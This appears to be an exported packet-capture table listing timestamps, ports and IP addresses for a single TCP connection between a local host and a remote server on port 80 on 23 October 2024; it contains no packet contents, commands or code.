Oct 23, 2024 15:48:21.702328920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.702363014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:21.702399969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.702399969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.904148102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:21.909595013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.186424971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.186474085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.186503887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.186532974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.186578989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.186608076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.186614990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.186614990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.186640024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.186654091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.186671019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.186698914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.186698914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.186719894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.186748981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.186767101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.186769962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.186799049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.186829090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.186839104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.186839104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.186860085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.186888933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.186902046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.186902046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.186922073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.186948061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.186956882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.186976910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.186988115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.186988115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187007904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187036037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187038898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187068939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187082052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187082052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187098980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187129974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187140942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187140942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187160015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187185049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187191010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187222004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187242031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187242031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187285900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187306881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187335014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187351942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187381029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187383890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187414885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187446117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187463999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187463999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187477112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187506914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187519073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187519073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187537909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187567949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187578917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187578917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187599897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187633038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187650919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187650919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187663078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187694073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187707901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187707901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187722921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187745094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187753916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187783957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187797070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187797070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187814951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187844992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187863111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187863111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187875032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187892914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187906027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187936068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.187951088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187951088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.187967062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.188009024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.188009024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.188134909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.188164949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.188195944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.188209057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.188209057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.188226938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.188256979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.188271046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.188271046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.188287973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.188330889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.188330889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.188968897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.188999891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189029932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189039946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189039946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189060926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189093113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189105034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189105034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189138889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189171076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189178944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189178944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189218044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189249039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189261913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189261913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189280033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189311981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189316988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189316988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189342976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189373016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189399004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189399004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189403057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189435959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189450026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189470053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189502001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189532042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189547062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189547062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189562082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189588070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189591885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189610004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189623117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189646006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189652920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189677000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189683914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189714909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189726114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189726114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189745903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189766884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189785004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189815044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189825058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189825058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189846992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189876080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189888954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189888954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189905882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189935923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.189946890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189946890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.189986944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190018892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190032959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190032959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190049887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190073013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190080881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190112114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190123081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190123081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190164089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190196037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190206051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190206051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190226078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190254927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190257072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190274954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190289021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190310001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190320969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190352917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190354109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190373898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190385103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190416098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190428972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190428972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190444946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190475941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190484047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190484047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190506935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190537930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190551996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190551996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190568924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190601110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190609932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190610886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190630913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190650940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190680027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190702915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190713882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190740108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190745115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190777063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190788031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190788031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190814018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190854073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190854073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190860033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190892935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190906048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190923929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190954924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.190964937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190964937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.190987110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191018105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191028118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191028118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191068888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191099882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191113949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191113949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191131115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191162109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191174984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191174984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191194057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191221952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191231966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191231966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191251993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191284895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191292048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191292048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191334009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191337109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191374063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191397905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191406012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191437006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191448927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191448927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191468000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191477060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191499949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191510916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191531897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191546917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191562891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191595078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191603899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191603899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191626072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191656113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191664934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191664934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191687107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191706896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191718102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191740036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191749096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191775084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191780090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191801071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191812038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191843987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191854954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191854954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191875935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191901922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191917896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191917896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191931963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191962004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.191977024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191977024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.191992044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192023039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192033052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.192033052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.192053080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192071915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.192085981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192109108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.192116976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192148924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192159891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.192159891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.192179918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192210913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192231894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.192231894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.192240953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192317009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.192328930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192342997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.192361116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192379951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192398071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192406893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.192416906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192431927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192445040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.192447901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192456961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.192464113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192480087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192492962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192508936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192519903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.192523956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192538977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.192543983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192562103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192563057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.192580938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:22.192614079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:22.192614079 CEST	49730	80	192.168.2.4	185.215.113.37
